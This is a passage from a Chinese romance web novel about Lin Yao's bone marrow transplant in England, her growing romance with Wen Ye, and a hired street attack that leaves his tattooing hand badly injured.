沈怡见她这样难过,轻搂着她安慰:“等手术好了,我们可以邀请你哥哥来英国玩。” 林杳轻轻点头,心里像被割掉一块,只能盼望着他能早一点,再早一点过来找她。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 40-50 第41章 第四十一章 含吮她的唇 到了英国的医院, 又是对林杳身体一通检查,最后还是建议她立刻做骨髓移植手术。 林钦文又赶紧飞回了国,得去接赵美莺过来。 赵美莺早收下了闻野的一万块, 按照约定, 等手术完了他还会给她两万。 但现在赵美莺知道林杳这对养 父母又有钱了, 她心思便活络起来,做出为难的姿态:“哎呀, 怎么还得出国做手术啊,那我麻将馆不好长一段时间都开不成了,我孤儿寡母的不容易,就靠着每天赚的那一点点钱生活。” 林钦文看着她写满贪婪,却对杳杳毫无一丝关心在意的嘴脸,心里的厌恶更盛。 但为了手术,还是给她开了张五万的支票,作为对她的补偿和感谢。 他带她赵美莺去办了加急护照,三天就办理了下来,等飞回英国,那边的医院又对她和林杳进行一次骨髓配型, 检测结果一周出来,和之前的结果一样, 两人完全匹配。 骨髓移植听着像是要动刀做手术, 实际只是将健康的造血干细胞植入患者体内, 全程要在一个无菌室待二十到三十天, 也叫做进仓。【注】 林杳进入移植仓的时间被安排在周五这天上午。 沈怡这些天一直在病房陪着, 手术的头一天,林钦文从学校接了放学的儿子,又带过来看林杳。 林沅如今是个八岁的小男孩了, 经过长期自闭症的康复训练,他能够到正常的学校念书,只是性格特别内敛安静,反应比起其他同龄的小孩子也要慢些。 对于林杳这个刚被接回来的姐姐,前几天他还忸怩不熟,但毕竟两人从小有感情,慢慢他就很亲她了。 他穿着很英伦风的校服,双肩背着小书包走进病房,看到林杳就往她病床前跑来:“姐姐陪我玩七巧板。” 林杳和他玩起学校里发的七巧板,只是玩的时候不是很专心,时不时忍不住往门口看一眼,又拿起手机看一下。 沈怡发现了,问她怎么了。 “我在等闻野,他说了,今天过来找我。”她嗓音雀跃又期盼,眼睛亮晶晶的。 沈怡和林钦文闻言愣了下,林钦文问道:“他飞机几点落地啊,我去接他,免得他语言不通不好过来。” “爸爸不用了,他两个小时前就从机场坐车往医院来了,说路上有点堵。” 话是这么说,林杳还是不免担忧路上会不会出什么状况,又拿起手机问他,消息刚发出去,门口就传来脚步声。 几人视线齐齐望过去,又都是一怔。 林沅睁大了眼,最先出惊奇地咦了一声:“哥哥没有头发。” 闻野剃了个光头。 十一小时的飞机终于落地后,他摁开关机的手机,看见小姑娘先前发来的消息:【医生让我明天进仓之前先把头发剃光,我光头了肯定很丑TAT】 他走出机场,拦了辆伦敦标志性黑出租车,拿手机里下载的字典查了下,告诉对方要去barber shop。 到了那地儿,却和理发师沟通得不太顺畅。 剃光头用英语不好表达,他只能不停地说cut more hair,外国理发师的蓝眼睛里露出茫然。 最后闻野也不耐烦了,对他说了句sorry,从他手里拿过推子,对着镜子自个儿推了个精光。 听到林沅那声惊呼,闻野并不尴尬,坦荡自若地先走到林钦文和沈怡跟前,说了声叔叔阿姨好,又立刻走到病床边,看向这些天想得他要发疯的小姑娘。 他嗓音低沉带笑:“不是觉得明天剃了头发会丑么,那我陪你一起丑。” 病房里偏白的光线下,少年眉骨硬朗,眼皮深而窄,每一处线条转折都有棱有角,清晰分明。 这样一张脸,就算剃了光头也不丑,反而更多了几分痞帅不羁。 “你这样也不丑。”她仰起脸,有些酸的眼睛看他,诚实又认真道。 闻野垂头,漆黑眸子看着她,唇角勾了勾:“所以我明天看你,肯定也是这么觉得的。” 晚上九点多,林钦文要带着林沅回家了,他鼓励林杳:“杳杳别怕,明天的手术一定会成功。” “嗯。”林杳很有信心的样子,笑着重重点头,又看向这些天晚上也一直陪在病房的沈怡:“妈妈你跟爸爸一起回去吧,今晚闻野在这儿陪着我。” 沈怡记得从前女儿是最依赖自己不过的,她用玩笑掩饰自己心里的一点失落:“杳杳有了哥哥就不要妈妈了啊?” 林杳脸颊红了红,连忙否认着解释:“才没有呢,我是想让妈妈回去好好休息,妈妈在这儿一个多星期都没睡好。” 这些时难得她露出这样亲昵撒娇的情态,沈怡看得心软,再加上闻野又是大老远飞过来,她便也答应了。 林钦文视线在女儿和闻野两人脸上过了一圈,欲言又止,到底也什么都没说,带着妻子和儿子离开了。 单人间的病房里只剩下林杳和闻野。 她看见他手伸进裤兜,等再拿出来,掌心就多了一块系着红绳的玉佩。 “你从前戴的玉佩不灵,没有保佑好你,我重新去庙里给你请了一块。” 林杳想起有一次除夕,她要把脖子上一直戴着的玉佩送给他,他没要,又重新给她戴上,还说让诸天神佛继续保佑她。 她眼弯弯地笑,纤细的脖颈朝他低了低:“那你给我换上嘛。” 闻野走过去,当初他给她重新戴上时打了好几个死结,他耐心地一个个结解开,又给她戴上他爬了九千多级台阶求来的这枚玉佩。 明天手术,今晚要休息好,十点钟不到,闻野就关了病房的灯,然而两人谁也睡不着。 夜幕能够让人卸下坚强的伪装,林杳咬着唇,枕头被无声滚落的眼泪浸湿。 签的手术风险承诺书一条条复杂的专业医学名词,她看不懂,但知道那些都是她可能遇上的风险。 有的会让她直接死在手术台上,有的会让她移植失败,同样危及生命。 她害怕这一觉睡过去,就要面临那不好的百分之五十可能,再也见不到爸爸,妈妈,弟弟,还有……最最舍不得的闻野。 林杳抬手擦干满脸的泪,缓了缓情绪,小声对闻野道:“你上来陪着我睡好不好,我想和你说说话。” 万一这真是她最后一晚,有些话她必须和他说清楚。 闻野听出那声音里还未散尽的哭腔,走过去一看,小姑娘眼眶和鼻尖果然都是一片红的,长长的睫毛也湿成几绺几绺的。 他心脏紧缩了下,掀开被子躺到她身旁,手臂搂上她,紧紧将人抱进怀里。 根本没法用那些苍白的话安慰她别怕,因为连他自己对百分之五十的概率都怕得要死。 去庙里求神拜佛的时候他就想,但凡老天愿意垂怜,让他亲手剜出心脏来献祭都行。 可偏偏寺庙里的菩萨独坐高台,始终禅笑不语,静看世人在苦海里挣扎。 “我跟你说个事,但你先保证你听了不许生气。”少女从他怀里抬起小脸,红彤彤的一双眼眼睛望向他。 闻野喉咙艰涩动了动,发出沙哑的一声嗯。 “如果我手术失败了……” 她话才说了个开头,闻野眉峰就深深折起,生气地打断:“明天就手术了,别说这么不吉利的话。” “你说了不生气的,这么快就不算数了。”她嘟囔,又软着声恳求:“你让我说完呀,不然我明天进移植仓也不会安心的。” 闻野只得沉默地绷紧唇角,由着她继续。 “如果我手术失败了,”她深吸了口气,用十分坚决的语气道:“我不需要你来陪我。” 那时他说她前脚走,他后脚就跟着,因为他没有牵挂了,还怕她被另一个世界的孤魂野鬼欺负。 可这并不是她想要的结果。 “你也不用担心有孤魂野鬼欺负我,”她嘴角扯起笑,“你以后每年多给我烧些纸钱吧,我在那个 世界就能雇好多保镖保护自己了,你看我是不是很聪明。” 闻野心脏像被人踩着,在一片尖锐的碎玻璃上重重碾压,疼得鲜血他淋漓,喉咙涌起一股腥甜。 “你自己说过的,你身强体壮,那就等七八十年后,你再来找我。” 林杳心头漫上一片苦涩,眼眶也酸起来,却还尽力用轻快的语气道:“我还没有在山顶看过日出,没在海边看过日落,也没有滑过雪,没去看过很漂亮的极光。我还想去南极看可爱的小企鹅,去潜水看各种颜色的珊瑚……” “这些我没来得及做过的事,只能拜托你替我去做,等到七八十年后你再去找我时,就能一件件讲给我听了。” 她看着少年紧抿得泛白的薄唇,故技重施,用相同但管用的威胁:“你快答应我呀,不然我今晚都睡不着的,明天进仓的状态也肯定不好,手术很可能也不会成功的。” 房间没开灯,异国他乡,月亮却还是同一轮,不管今夕何夕,悲欢离合,洒进来的光还是清亮又皎洁的。 林杳看见他赤红的眼,一滴滚烫的泪砸在她脸颊,和她脸上的泪融合,紧接着又是一滴。 好半晌,她听到沙哑得不成样的一声—— “好。” “要拉勾才作数。” 她伸出根小手指,和他缓慢伸出的指头勾住:“拉勾上吊,一百年不许变。” “好啦,你不许反悔了。”她笑起来,眼泪却又簌簌掉落。 死亡的恐惧和汹涌得再也压抑不住的情潮交织,闻野低了低头,吻去她脸上的泪珠。 从湿漉漉的睫毛,移到泛红的眼睑,再到她的脸颊,最后两人的唇瓣贴在一起。 闻野用力含吮住她的唇,青筋隆起的手搂着她病服下瘦得肋骨分明的腰,另只修长颤抖的指骨从她细软的发丝间穿过,按着她后脑,使两人贴得更近。 林杳也抱住他,当他舌抵过来,她乖顺又羞涩地松开齿关。 都是第一次初吻,生疏得牙齿还会磕碰到,闻野在摸索中比她更快掌握要领,渐渐开始引导着她,她很乖地配合,很用心地学。 察觉到她呼吸不过来时,他稍稍停下,轻抚着她后背给她顺气。 等她稍稍缓和,便又迫切地把唇舌勾在一起,拼命索取交换着彼此的气息和津液。 在两人一起住了那么久,甚至同床共枕了好几次,这却是两人最亲近的一次。 心脏剧烈地跳动,呼吸越来越急促,大脑缺氧,谁也不愿意停下,都迷恋这样亲密又意识混沌的感觉。 像是世界只剩下他们俩,像是明天永远也不会降临,更不用考虑以后会怎样。 直到后来,他们都记不得这一晚亲吻了多久,多少次。 最后两人相拥着入眠,睡梦中的身体也依然抱得很紧很紧,恨不得把对方镂进骨血中,像黑夜里两株根脉交缠着生长的藤蔓。 第42章 第四十二章 野哥你这是妹唱哥随啊…… 一大早林杳就要进移植仓了。 她头发都剃了, 瘦弱苍白的小脸撑出个笑容,对走廊站着的家人和闻野挥了挥手:“我进去啦,等我一个月之后出来。” 林沅不知道这手术有多危险, 也举起小手跟姐姐挥了挥。 沈怡捂着嘴, 眼里泪流了下来, 林钦文揽着妻子,眼眶也有些湿润。 林杳最后一眼又看向闻野, 冲他弯了弯小昨晚拉勾的拇指,意思是要他记得答应过她的事情。 闻野眼皮垂了垂,心中对她说抱歉。 到底还是欺骗了她,他做不到他承诺的那样。 在没有她的世界,他踽踽独活的每一天都是惩罚,长命百岁更是诅咒。 所以万一要是有什么意外,他肯定会去找她,到时候在下面,小姑娘骂他骗子也好,不讲信用也罢,都没关系, 反正她性子那么软,又好说话, 他多哄哄, 她一定还是会原谅他的。 林杳先被带到仓内一个地方去洗澡, 用消毒沐浴露把全身上下洗干净, 换上要求的低领开衫, 又被带去一个无菌的密闭房间。 她锁骨下的静脉被插了根管子,之后就是持续不断的输液,有的药剂让她恶心呕吐, 有的又让她一直发高烧,身体胀痛。 家属不能探视,每天林杳能接触的只有护士和医生,她的手机消毒后送了进来,可以用来和外面联系。 给爸爸妈妈打电话时,她不想让他们难受,说的都是自己能忍受,护士姐姐照顾得她很好。 和闻野通话时,也是同样的说辞。 那边沉默了好半天,林杳听见他叹息一声:“杳杳,你骗我不会让我安心,反而让我更不放心。所有你有什么不好的,难受的,都和我说,不要什么都自己挨着。” “我分担不了你的难受,但至少能让你的情绪有个发泄的地方,在我这儿,你永远不用装出坚强的样子。” 林杳心脏缩了缩,强忍着的情绪一瞬间决堤,委屈巴巴向他倒起苦水:“我身上哪哪都是疼的,胃疼肚子疼,连骨头也是疼的,口腔也溃疡了,喝水都疼,吃什么都想吐,每天要咽的药好多,喉咙都吞不进去了。” 她小孩子似的抱怨:“世界上怎么有这么讨厌的病啊,简直太坏太讨厌了!” 闻野听她的描述,身体的各个器官也跟着一起疼起来,那种痛不欲生的滋味,他和她感同身受。 “是啊,真是最坏最讨厌的病了,就会欺负我们杳杳。”他和她同仇敌忾,心脏疼到颤栗。 之后每天林杳再给他打电话,不会说那些粉饰太平的话,她把所有的不舒服都和他讲。 身体的疼痛依然存在,可憋闷在心里的坏情绪都发泄了出来,精神上就没那么难受了。 等到第十天,抽取的干细胞开始往她身体里回输。 虽然整个移植的过程痛苦,但治疗的结果不错,熬到二十五天,她就被通知可以出仓了。 这二十五天闻野同样吃不好睡不着,眼里布满红血丝,眼窝深陷下去,心焦到口腔溃疡,喉咙发炎,像是同样大病了一场。 得知小姑娘能顺利出仓,闻野紧揪着的心松了一些,但也不是彻底放松,这只是成功的一半,另一半一半要看后续的恢复,如果出现中枢神经系统的严重排异,依然随时危急生命。 所以林杳手术之后还得在医院住一个多月,每天密切地检测观察。 幸运的是命运没有对他们赶尽杀绝,林杳的排异反应属于比较轻微的那种,只是移植部位有轻度疼痛,还有些正常的发烧现象。 沈怡遵循护士的方法,各种方法给她进行物理降温,一周左右林杳体温终于恢复到正常的体温。 林钦文有生意上的事要忙,沈怡也有林沅要照顾,两人并不能时刻待在病房,沈怡本想给她请个护工,林杳不要。 她有闻野呢,他全天二十四小时都在她身边陪着她。 随着术后一天天调养,林杳其他排异的反应慢慢消失,就是食欲还一直不好,吃了一小半碗病号餐就不想吃了。 闻野端起她搁下的碗,拿起勺子,声音温柔带哄:“乖,再多吃一点,你现在正是需要补身体的时候。” 林杳也明白这点,可胃里泛起的恶心感就很排斥食物了 再者她早被他惯得没边了,在其他人前面前要多懂事有多懂事的小姑娘对着他,小脾气和任性就会多一点。 她脑袋往旁边一偏:“不乖,不想吃。” 闻野其实还挺喜欢看她任性的样子,觉得生动又可爱,他唇弯了弯,随后一本正经的表情,说的却是没骨气的话:“那求求杳杳了,多吃一口。” “……”林杳脸红了红,不得已张嘴含住他喂过来的一大勺饭,勉强咽下又小声吐槽:“你怎么这么没骨气呀。” 说求人就求人的。 “要骨气干嘛。”闻野扬眉,黑眸噙着笑看她:“你多吃一口饭,我怎么都行,那再求求你,再多吃一口。” 沈怡过来时看见的就是闻野给女儿喂饭的这幕。 若说前些时她隐约就觉得他们兄妹俩相处得不太对劲,那此刻这种感觉就几乎是可以盖章定论了。 沈怡心里咯噔了下,生怕两人之间是什么不伦之情。 趁着闻野出去的空当,她向林 杳打探,问她闻野是赵美莺的外甥,还是她生父那边的侄子。 之前她的手术是头等大事,这些细枝末节都没来得及问。 “都不是。”林杳摇了摇头,说了情况。 得知他是赵美莺第二任丈夫的侄子,和林杳并没有血缘关系,沈怡稍微放心了点。 沈怡又问她:“他看着也不大啊,这么长时间陪着你呆在英国,学业不是都耽搁了么?” 林杳如实道:“他高中念完就没上学了,他开了个刺青店,给人纹身赚钱。” 在思想传统的人眼里,纹身可不是什么好事,沈怡也不例外,她心里好些话想说,但到底都没有张口。 女儿和他们之间的罅隙还没有完全弥补好,她不能再让这条罅隙变得更深,何况杳杳还小,这个年纪的情爱一般做不得数。 等闻野回来了,沈怡才道:“杳杳你不是想转学医么,不如直接重新考剑桥大学,它的医学专业在世界都是名列前茅的。” 林杳先前只是办理休学手续,根本没想过要退学,到英国来读书。 沈怡继续劝道:“手术后的恢复期很长,甚至两三年之内都有可能复发,你留在英国,出现任何排斥反应,随时能接受治疗。” 她眼神怜爱,透着不舍:“好不容易我们一家四口又团聚,我和你爸爸,还有沅沅都不想和你再分开了。” 林杳没有因此犹豫,爸爸妈妈还有弟弟,可闻野只有她。在最艰难的时刻,闻野都没有放弃她,是他一直给了她生的希望,她怎么能当个忘恩负义的白眼狼。 何况她也根本离不开他。 她在心里整理好说辞,还没来得及说出口,沈怡又把目光看向闻野:“小野,你说阿姨说得对不对,杳杳是不是最好考剑桥大学?” 闻野哪会读不懂女人的眼神,他漆黑的眸看向病床上,还十分消瘦的小姑娘,点了点头:“杳杳,你妈妈说得对。” 晚上睡觉,林杳面朝着墙睡,留给他一个默默生气的小背影。 单人病床狭窄。 闻野挤了上去,手臂才搂上去,就被她胳膊肘推开,又搭上去,在小姑娘又要推时,他牵住她的小手,大掌将之紧紧包裹住。 他哪会不知道她为着什么在不高兴。 “你妈妈说得没错,为了你身体和前途着想,留在这边上大学都是最好的选择。”他给她讲着道理:“我相信你有能力飞得更高更远,我不可能,也绝对不愿意成为拽着你往下的那股力。” 林杳声音闷闷道:“可是医学本科要读四年,继续读研还有三年,加起来就是七年了,我不想和你分开那么久。” 她说完,紧贴着的后背感受到他胸腔轻轻震动了两下,证明他是在笑。 林杳:“?!!” 她都这么郁闷难过了,他怎么还笑得出来?! 她正欲发恼,听到他懒声反问:“谁说要分开这么久?” 林杳一愣,立刻翻身,抬起脸不解又期待地看向他漆黑的眸子。 闻野轻扯了下唇,低眸望着她道:“我来的这些时看到不少英国人手上身上都有刺青,很多纹的还是些稀奇古怪的中文字。等我过来,就在你学校附近开个店,一边赚那些英国佬的钱,一边看有没有哪个不要命的蓝眼睛敢打你的主意。” 国外也挺好的,学历和职业歧视不算严重,只要肯吃苦,一门手艺能赚的钱不少,而且这边纹身的人群也更广,各行各业都有。 何况他早就听说国外上大学年龄从来不是问题,到时候他再努力考个学校,提升一下自己的学历。 别以后小姑娘是世界名校毕业的高材生,他还只是个高中学历啊。 林杳闻言愣了愣,双眸又在下一秒聚起光,睁得大了些,语气万分惊喜还有些不可思议:“你说真的啊?” “骗你做什么。” 闻野知道沈怡不太瞧得上他的职业和学历,可对于这对曾经抛下过她的父母,他更不可能全然放心地把小姑娘交托给他们。 他自己养着,守着,照顾着,才最稳妥安心。 闻野眉梢轻挑起,将怀里的人抱紧了些,理所当然哼笑了一声:“你这么漂亮可爱性格又乖,等在这边上学了,不一堆围你身边献殷勤的蓝眼睛小帅哥,万一我养了好几年的妹妹突然跟人家跑了,那我找谁说理去啊?” 林杳笑着瞪他一眼:“你胡说什么呀,我才不会呢。” 她还朝他仰着脸,舔了舔唇瓣,轻声又认真地开口:“你最帅了,我只会喜欢你一个。” 闻野喉结重重滑动了下,黑夜里眸子亮得惊人。 说完情话,林杳自己先不好意思起来,小脑袋一低,染上薄红的脸颊埋进他怀里。 她温热绵软的呼吸透过衣服落在他胸膛间,闻野心都要融化了,他伸手把她搂得更紧,从前看到那种虚无的,什么“拥有了全世界的感觉”,在这一刻有了实感。 又在医院住了一个多月,林杳终于能够出院了,这时身体的各项机能开始慢慢恢复,除了定期要到医院复查,基本可以像正常人一样生活了。 她重新捡起高中的课本和那股学习的劲头,十二月份参加了AST考试,又在来年春季,收到了剑桥大学的录取通知。 闻野第一时间得知这份好消息,也很快把他最新一次考的雅思成绩单给她发过去。 他这一年忙多忙得没停过,拼命地接刺青的单子赚钱,先是还清之前欠下的一部分欠款,那些钱没花手术上,但待在英国两个月,后期又来回跑了几次,花销也不少。 还要攒钱,英国那边花销高,过去开店首先得有一笔启动资金。 见缝插针的时间闻野全都拿来背单词,做雅思卷子,对于高中三年英语基本没怎么学的人,他雅思模拟考的成绩从第一次差得要死的3分,到第二次的4分,又提高到5.5分。 闻野还在继续努力,争取考到6分以上,出国工作的签证更容易办下来。 彭一凡最近也经常来他的店里。 彭一凡三年大专很快就要上完了,爹妈逼着他考公,他在家学不进去,拿着本行测到闻野这儿来找学习的氛围。 “杳妹真牛逼啊,牛逼哄哄的剑桥都说考就考上了。不过别人都是夫唱妇随,野哥你这是妹唱哥随啊,杳妹在国外上大学,你也背井离乡,千里迢迢跟着妹妹去英国。” 彭一凡逼逼叨叨一堆,闻野全神贯注地勾选着阅读题,眼皮都没撩起理他一下。 彭一凡被他这种专注又刻苦的劲头激励到了,也斗志昂扬地拿起笔刷起厚厚一本常识题。 “靠,这都什么稀奇古怪的题,油条的发明是为了纪念谁,屈原不是姓屈还姓什么,醍醐灌顶中的醍醐是什么?我又不是本百科全书,怎么可能知道啊?!” 彭一凡刷了几道题就把笔一摔,摸出手机缓和一下被打击到的信心。 “咦?章瞳找男朋友了啊。”他在空间里刷到了章瞳最新发的一条说说。 闻野充耳不闻,拿手机查阅读里不认识的单词,查完抄写在便利签上,撕下来贴桌子上,方便他随时看了记。 彭一凡点开,拿手指放大那照片看,咋咋呼呼道:“哇她男朋友还挺酷,手臂上好大一块纹身,这图案看着好凶神恶煞啊,还有点眼熟,野哥你懂行,你帮我看看这纹的是什么?” 他好奇地把手机举到闻野眼前。 闻野笔尖顿了顿,不耐扫过去一眼:“关羽。” “怪不得我觉得熟悉。”彭一凡又端详了会儿,又奇怪起来:“但这纹的关羽怎么可能是睁着眼的呢?” “野哥你之前不是说纹身圈里有句俗话,叫闭眼观音,睁眼关公什么的。”他边费劲地嘀咕边回想。 “闭眼观音不救世,开眼关公必杀人。”闻野拧了拧眉,不悦地沉声道:“最后一次,你再打扰我一下,就出去。” 纹身圈里大多数人都信奉这个迷信,认为睁眼的关公太有煞气,会带来血光之灾,一般人都 会避讳。 但也有特别叛逆不信邪的,会专门纹这个。但这样的人极少。 因此闻野也认出了这人是谁,之前参加刺青大赛,被他压过一头的第二名,走之前挺不服气瞪了他一眼,叫段什么的来着。 第43章 第四十三章 甜得他心脏一阵阵紧缩 闻野给个开歌舞厅的男人在手臂上纹貔貅, 传说中招财进宝的神兽,从晚上七点一直纹到凌晨快一点。 男人走后,闻野揉了一把疲倦发困的脸, 工具简单收拾了, 用把U型大锁把门拴上。 三月份了, 白天还挺暖和,夜里依然有几分料峭的寒意, 他把搭胳膊上外套穿上,又从兜里摸出手机,边走边用百词斩记单词。 三十个雅思高频词汇全部选对,屏幕上出现个胜利的标志,闻野还挺高兴地弯了弯唇,截图给林杳发过去。 两地隔着七个多小时时差,那边应该是下午三点多,很快收到了回复。 杳杳:【哇,真厉害】 杳杳:【今天终于没下雨了,还出了太阳,我带珍妮和奥斯卡出来踢足球】 杳杳:【图片】 离开学还有半年, 林杳找了个兼职,给邻居家照顾他们一对双胞胎儿女, 也教两个孩子学习中文。 剑桥学费高昂, 林杳不希望父母再给她出钱了, 她打算先兼职赚些, 等开学了再申请学校里的贷款, 她还要多攒点钱,等七月份买机票飞回国见闻野。 闻野手指点开,广阔的绿茵草坪上有两个追逐着足球的小小身影, 明媚阳光铺洒下来,只通过照片都能感受到今天她那边的天气很惬意舒服。 闻野看着心情也变好,这一天的疲惫仿佛也消失了大半,他低头,修长手指边敲着屏幕:【看他们干嘛,我想看你的照片】 林杳:【不要,我头发还完全长好呢】 闻野:【那你发语音来,让我听听你的声音】 他握着安静下来的手机,勾了勾嘴角往前走,期待着一会儿的语音消息。 深夜时分,街边的店铺都关了,一路都没看见人影,直到又拐进个路口,才有两个一身酒气的壮汉迎面而来。 握着的手机这时响了下,闻野脚步顿住,刚解了锁要去看,左边肩膀被那走过来的壮汉用力地一撞。 “你小子怎么回事?走路不看路的啊?”对方语气凶狠,先倒打一耙,说完一拳头冲着他挥了过来。 闻野之前在这一片从未见过这两人,他们又明显是社会青年打扮,煞气很重,所以第一眼看到时,他就生出几分警惕,低头看手机时也留了几分心眼。 也因如此,在那壮汉动手的下一秒,他能够及时闪身避开。 壮汉没想到他轻巧就躲开了,和同伴对视一眼,两人一起抡着胳膊朝闻野招呼上来。 垃圾桶就在跟前,堆着几样等人来收的旧家具,闻野快速弯身捡起个拖把棍子,用力挥在对方身上,又顺手捡起个酒瓶,往另一个脑袋上砸去。 砰的一下又沉又闷的声响,沾了血的碎玻璃四处飞溅。 这两个壮汉干的都是打手这行,受段霄所托来教训教训闻野,喝酒也是为了万一被抓住,就说是自己喝大了,不清醒。 结果没想到这少年还是块难啃的硬骨头,他们反倒被他教训了,真是打了一辈子猎反倒被鹰啄了眼。 两个壮汉咽不下这口气,又一时酒精冲上头,一人从怀里摸出一把瑞士折叠军刀,发了狠要往闻野身上刺去。 冷白的刀光一闪而过,闻野扬起左手,钳住那人粗实的手臂,又在下一秒,另一道寒光飞快从右侧逼近,直往他身上戳。 避无可避,他右手握住了刀刃。 薄而尖锐的刀锋深深扎进他掌心的皮肉和筋骨。 春意盎然的夜晚,除了不知哪个角落传来的花香外,又弥漫开一阵浓烈刺鼻的血腥味。 闻野疼得满身冷汗,唇色一瞬苍白,却不能松开,还得咬紧牙关,抓着刀子不松一点力道,不然那刀尖就是刺进他胸口了。 手臂青筋暴起,指关节用力到突出泛白,血不知流了多少,冷汗快要将外套里的短袖浸透了,就在这时,从夜市收摊回来的男人哼着歌,蹬着三轮车从巷子进来。 两个壮汉醒过神,也意识到这事办得太出格了,立刻扔下刀跑走。 男人见状不对,扔了三轮车跑过来:“小伙子你没事吧?” “麻烦帮我打个120,再报个警。” 闻野沙哑的声音浸着无力,弯身用左手从地上捡起屏幕四分五裂的手机,已经开不了机了。 他靠着电线杆缓缓滑坐下去,冷汗还在不断冒,眼前一阵一阵地眩晕感,真他妈的疼,没力气动弹一下,眼皮耷拉着垂下,随时都要昏厥过去。 救护车很有效率,在十分钟之内赶了来过,在车上就有医护人员给他做紧急止血处理。 等到了医院,一检查,手筋断了四根,手掌神经断裂,还伴有严重的软组织损伤,他立刻又被送进手术室。 他是局部麻醉,三四小时的手术过程中一直是清醒的状态。 等结束了,他舔了舔干涩的唇,声音迟缓沙哑问医生:“我的手能恢复好吗,像正常人那样生活?” “不太可能。”医生客观道,但也让他不要放弃希望,“凡事并不绝对,只要术后积极进行康复训练,情况还是有可能会越来越好。” 闻野没再说什么了。 他本来条件就不是很好,只有高中的学历,家庭背景更是一团糟糕,唯一有点用的,是他会门纹身的技术,努力点,钱赚得也还成。 可现在,偏偏是右手,他彻底一无是处了,还成了个残废。 麻醉药效过去后,护士给他注射止疼针,具有强烈镇定催眠最用的成分让他这一觉睡得格外久,再睁开眼是第二天下午了。 他左手手背扎着针,挂着瓶白蛋白。 没剩几滴就打完了,护士过来给他拔针,知道他手伤的情况,好心道:“我帮你按着棉签止血。” 闻野心中觉得可笑,现在的他,废物到连根棉签都不能自己按住了。 他拿着摔碎了的手机,站起身,边往外走边道:“警察有登记我的信息,我回去拿了钱来结手术费。” 找到医院附近一家手机维修的店,闻野走进去,把屏幕摔得稀巴烂的手机放到玻璃柜台上。 店主看了一眼道:“你手机摔得太厉害了,一时半会儿修不好,我手头还有几部要修,你先放这儿吧,明天早上来取。” 闻野:“我加钱,我女朋友还等着我回她消息。” 他第一次这么久没回她消息,小姑娘一定着急坏了。 “行。”店主搁下手头正忙的活儿,拿过他的手机,瞅见他被纱布缠得严实的右手:“哟,你手伤成这样了还惦记着女朋友的消息,男朋友当成你这样,真是不错。” 闻野唇角绷着,没搭理他,一言不发地用脚勾过把塑料椅子坐下。 等了一个多小时,手机终于又能开机了。 闻野用左手大拇指解锁,好些未读的消息和未接来电齐刷刷弹出来。 他点进那只加菲猫的头像,按着那段十几秒长的语音,把手机贴近耳朵。 “你突然让我说话,我也不知道说什么,嗯就是……我好想你的,每天都盼着时间能快点过,能早点见到你。” 说到后边明显是害羞起来,说的声音小了点,语速变快了,都能想象她说完一定立刻咬着唇,脸颊绯红,又娇又可爱的模样。 他不舍地把手机从耳边拿开,又去看她发来的一条条文字消息。 语音下面紧跟着一条:【你那边应该凌晨一点多了,快睡觉,别熬夜,晚安~】 然后中间隔了十几个消息,又是她那边早晨的消息了。 杳杳:【我今天很早醒了,右眼皮一直跳,我记得右眼皮是跳灾的,妈妈让我贴张白纸上去,说这样就是白跳】 杳杳:【你的头发都长好了,你拍一张照片发给我看看呀,我看看你现在是什么发型】 杳杳:【我去教邻居家的两个小 孩认中文啦】 杳杳:【他们俩想让我教他们下象棋,其实我的水平也很烂qaq】 杳杳:【你今天是不是很忙啊?怎么一直没看手机】 杳杳:【你看到了赶紧给我回个消息吧,我右眼皮又开始跳起来了,我心里有点不安】 闻野左手握着手机,只剩个左边的大拇指能动了,敲字前所未有的慢。 他一条条回复。 闻野:【手机早上不小心摔坏了,才有空拿去修】 闻野:【什么时候变得这么迷信了/偷笑】 闻野:【之前我们去拿配型结果时你右眼皮也跳了,结果也是好的啊】 闻野把手机摁熄,黑色的屏幕模糊地映出自己挂着彩,嘴角还有淤青的一张脸。 他重新又摁开手机,继续凭着左手大拇指打字:【最近上火,嘴角冒了痘痘,不好看,等消下去了再给你发照片】- 林杳七月份回国,下午六点多飞机落地,她推着行李箱出来,一眼找到了人群中最高的闻野。 她兴奋地朝他用力挥着手,眉眼弯弯地跑过去,闻野几大步快速过去,左手伸过去握住她行李箱的拉杆。 怀里突然一软。 小姑娘抱住他腰,下颌抵着他胸膛抬起,夕阳余晖透过落地窗照进来,她每根发丝都似在发光,亮盈盈的大眼睛望着他。 “我好几天都激动得没睡着,我好想你噢。”她嗓音清甜,染着少女的几分羞怯。 闻野心脏像被狠掐了一把,他想紧搂住她,又想轻轻揉一把她脑袋,可他仅剩的一只手甚至都没法同时做这两样。 林杳说完鼻翼轻轻动了动,她嗅到一股中草药的气味,奇怪地低头一看,他垂着的右手掌心赫然贴着好大一块膏药。 “你手怎么了啊?”她紧张问道。 “每天拿纹身枪的时间太久了,得了腱鞘炎,没什么大不了的,休息几天就好了。”他语气轻松道。 “说了让你别那么累,你每次答应得好好的,看来都是骗我的。”林杳不高兴地鼓了鼓腮。 “以后都不会了。”闻野声音低柔地向她保证。 坐上回去的出租,林杳身子挪向他,双手抱住他手臂,脑袋也搁在他肩膀上:“我好早赶的飞机,好困呐,我靠着你睡一会儿啊。” 带着几分撒娇的语调,软糯糯的,闻野心也似要软化成一滩水。 林杳很快就睡着了,她现在得养精蓄锐,行李箱装着条她从前跳古典舞穿的长裙,是她在家里找到的,改了下还能穿进去。 这些时晚上睡觉前她都在练,把以前的功底捡了起来,早就说好了要跳舞给他看的,今晚终于能兑现了。 下班高峰期,路有些堵,出租车停在个高架桥上半天没挪一下,闻野私心盼着这路能堵得再久一点。 小姑娘枕着他肩膀睡得很熟。 他低头,长长久久地看着她,贪恋又绝望地嗅着她发丝上,脖颈间的气息。 到了家附近,两人之前常去的那家烧烤店。 闻野把她喜欢的那几样都点了,手机铃声响起,他从兜里摸出来一看,是一串没备注但认得的号码。 他又跟老板强调了一遍少放辣,对林杳道:“我出去接个电话。” 林杳点点头。 电话是派出所打来的,告诉他那两个混混和段霄都已经被抓住了,经过审讯段霄也坦白,他很不爽他刺青比赛之后抢走了自己很多生意,被新交的女朋友章瞳又说他之前一直脚踏几条船地吊着她,想让他帮忙出口气。 所以才找了人,想教训他一顿,没想到闹得这么大。 夏夜的气温还很高,吹来的风都带着燥热,闻野心脏却似沉沉大雪压山,覆着一片冰寒。 “段霄这边请了律师,想和你商量一下调解的赔偿问题。” “不可能调解。”他毫无犹豫,声线冰冷道。 